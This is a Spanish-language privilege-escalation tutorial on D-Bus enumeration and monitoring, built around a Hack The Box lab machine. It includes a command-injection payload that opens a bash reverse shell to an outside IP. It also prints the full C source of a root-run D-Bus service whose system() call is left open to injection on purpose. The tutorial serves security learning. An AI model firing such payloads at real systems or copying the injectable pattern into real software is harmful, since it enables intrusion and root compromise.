D-Bus se utiliza como mediador de comunicaciones entre procesos (IPC) en entornos de escritorio de Ubuntu. En Ubuntu, se observa la operación concurrente de varios buses de mensajes: el bus del sistema, utilizado principalmente por servicios privilegiados para exponer servicios relevantes en todo el sistema, y un bus de sesión para cada usuario conectado, exponiendo servicios relevantes solo para ese usuario específico. El enfoque aquí es principalmente en el bus del sistema debido a su asociación con servicios que se ejecutan con mayores privilegios (por ejemplo, root), ya que nuestro objetivo es elevar privilegios. Se destaca que la arquitectura de D-Bus emplea un 'enrutador' por bus de sesión, que es responsable de redirigir los mensajes de los clientes a los servicios apropiados según la dirección especificada por los clientes para el servicio con el que desean comunicarse.
Los servicios en D-Bus están definidos por los objetos e interfaces que exponen. Los objetos pueden asemejarse a instancias de clase en lenguajes de programación orientados a objetos estándar, con cada instancia identificada de forma única por una ruta de objeto. Esta ruta, similar a una ruta de sistema de archivos, identifica de forma única cada objeto expuesto por el servicio. Una interfaz clave para fines de investigación es la interfaz org.freedesktop.DBus.Introspectable, que presenta un método singular, Introspect. Este método devuelve una representación XML de los métodos admitidos por el objeto, así como señales y propiedades, centrándose aquí en los métodos y omitiendo propiedades y señales.
Para la comunicación con la interfaz de D-Bus, se emplearon dos herramientas: una herramienta de línea de comandos llamada gdbus para invocar fácilmente los métodos expuestos por D-Bus en scripts, y D-Feet, una herramienta GUI basada en Python diseñada para enumerar los servicios disponibles en cada bus y mostrar los objetos contenidos en cada servicio.
sudoapt-getinstalld-feet
En la primera imagen se muestran los servicios registrados con el bus del sistema D-Bus, con org.debin.apt específicamente resaltado después de seleccionar el botón Bus del Sistema. D-Feet realiza consultas a este servicio para objetos, mostrando interfaces, métodos, propiedades y señales para los objetos elegidos, como se ve en la segunda imagen. También se detalla la firma de cada método.
Una característica notable es la visualización del ID de proceso (pid) y la línea de comandos del servicio, útil para confirmar si el servicio se ejecuta con privilegios elevados, importante para la relevancia de la investigación.
D-Feet también permite la invocación de métodos: los usuarios pueden ingresar expresiones en Python como parámetros, que D-Feet convierte en tipos de D-Bus antes de pasarlos al servicio.
Sin embargo, hay que tener en cuenta que algunos métodos requieren autenticación antes de permitirnos invocarlos. Ignoraremos estos métodos, ya que nuestro objetivo es elevar nuestros privilegios sin credenciales en primer lugar.
También hay que tener en cuenta que algunos de los servicios consultan otro servicio D-Bus llamado org.freedeskto.PolicyKit1 para determinar si un usuario debe poder realizar ciertas acciones o no.
Enumeración de la línea de comandos
Listar Objetos de Servicio
Es posible listar las interfaces de D-Bus abiertas con:
De Wikipedia: Cuando un proceso establece una conexión a un bus, el bus asigna a la conexión un nombre especial de bus llamado nombre de conexión único. Los nombres de bus de este tipo son inmutables, lo que garantiza que no cambiarán mientras exista la conexión, y, lo que es más importante, no se pueden reutilizar durante la vida útil del bus. Esto significa que ninguna otra conexión a ese bus tendrá asignado un nombre de conexión único, incluso si el mismo proceso cierra la conexión al bus y crea una nueva. Los nombres de conexión únicos son fácilmente reconocibles porque comienzan con el carácter de dos puntos, que de otra manera está prohibido.
Información del Objeto de Servicio
Luego, puedes obtener información sobre la interfaz con:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Enumerar Interfaces de un Objeto de Servicio
Necesitas tener suficientes permisos.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Inspeccionar la Interfaz de un Objeto de Servicio
Observe cómo en este ejemplo se seleccionó la última interfaz descubierta utilizando el parámetro tree (ver sección anterior):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Interfaz de Monitoreo/Captura
Con el suficiente privilegio (solo los privilegios send_destination y receive_sender no son suficientes) puedes monitorear una comunicación D-Bus.
¡Si sabes cómo configurar un archivo de configuración de D-Bus para permitir a usuarios no root espiar la comunicación, por favor contáctame!
Diferentes formas de monitorear:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
En el siguiente ejemplo se monitorea la interfaz htb.oouch.Block y se envía el mensaje "lalalalal" a través de una mala comunicación:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Puedes usar capture en lugar de monitor para guardar los resultados en un archivo pcap.
Filtrando todo el ruido
Si hay demasiada información en el bus, pasa una regla de coincidencia de la siguiente manera:
Como usuario qtc dentro del host "oouch" de HTB, puedes encontrar un archivo de configuración de D-Bus inesperado ubicado en /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Ten en cuenta que necesitarás ser el usuario root o www-data para enviar y recibir información a través de esta comunicación D-BUS.
Como usuario qtc dentro del contenedor de Docker aeb4525789d8, puedes encontrar algo de código relacionado con D-BUS en el archivo /code/oouch/routes.py. Este es el código interesante:
Como puedes ver, se está conectando a una interfaz D-Bus y enviando a la función "Block" la "client_ip".
En el otro lado de la conexión D-Bus hay un binario compilado en C en ejecución. Este código está escuchando en la conexión D-Bus la dirección IP y está llamando a iptables a través de la función system para bloquear la dirección IP proporcionada.
La llamada a system es vulnerable a propósito a la inyección de comandos, por lo que una carga útil como la siguiente creará un shell inverso: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Explotarlo
Al final de esta página puedes encontrar el código C completo de la aplicación D-Bus. Dentro de él, entre las líneas 91-97 puedes ver cómo se registran el path del objeto D-Bus y el nombre de la interfaz. Esta información será necesaria para enviar información a la conexión D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
También, en la línea 57 puedes encontrar que el único método registrado para esta comunicación D-Bus se llama Block (Por eso, en la siguiente sección, los payloads se enviarán al objeto de servicio htb.oouch.Block, la interfaz /htb/oouch/Block y el nombre del método Block):
El siguiente código python enviará la carga útil a la conexión D-Bus al método Block a través de block_iface.Block(runme) (nota que fue extraído del fragmento anterior de código):
dbus-send es una herramienta utilizada para enviar mensajes al "Bus de Mensajes".
Bus de Mensajes: Un software utilizado por sistemas para facilitar las comunicaciones entre aplicaciones. Está relacionado con la Cola de Mensajes (los mensajes se ordenan en secuencia), pero en el Bus de Mensajes los mensajes se envían en un modelo de suscripción y también de forma muy rápida.
La etiqueta "-system" se utiliza para indicar que es un mensaje del sistema, no un mensaje de sesión (por defecto).
La etiqueta "--print-reply" se utiliza para imprimir nuestro mensaje de forma adecuada y recibir cualquier respuesta en un formato legible para humanos.
"--dest=Dbus-Interface-Block" es la dirección de la interfaz Dbus.
"--string:" - Tipo de mensaje que queremos enviar a la interfaz. Hay varios formatos para enviar mensajes como double, bytes, booleans, int, objpath. De estos, el "objeto path" es útil cuando queremos enviar la ruta de un archivo a la interfaz Dbus. Podemos usar un archivo especial (FIFO) en este caso para pasar un comando a la interfaz en nombre de un archivo. "string:;" - Esto es para llamar al objeto path nuevamente donde colocamos el archivo/comando de shell inverso FIFO.
Nota que en htb.oouch.Block.Block, la primera parte (htb.oouch.Block) hace referencia al objeto de servicio y la última parte (.Block) hace referencia al nombre del método.
Código C
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}